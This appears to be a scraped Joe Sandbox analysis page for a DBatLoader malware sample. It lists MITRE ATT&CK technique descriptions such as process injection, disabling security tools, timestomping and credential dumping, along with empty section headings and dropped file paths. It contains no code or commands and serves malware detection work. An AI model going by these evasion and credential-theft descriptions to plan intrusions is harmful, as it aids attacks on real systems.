Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PURCHASE REQUIRED DETAILS 000487958790903403.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Windows Analysis Report
PURCHASE REQUIRED DETAILS 000487958790903403.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre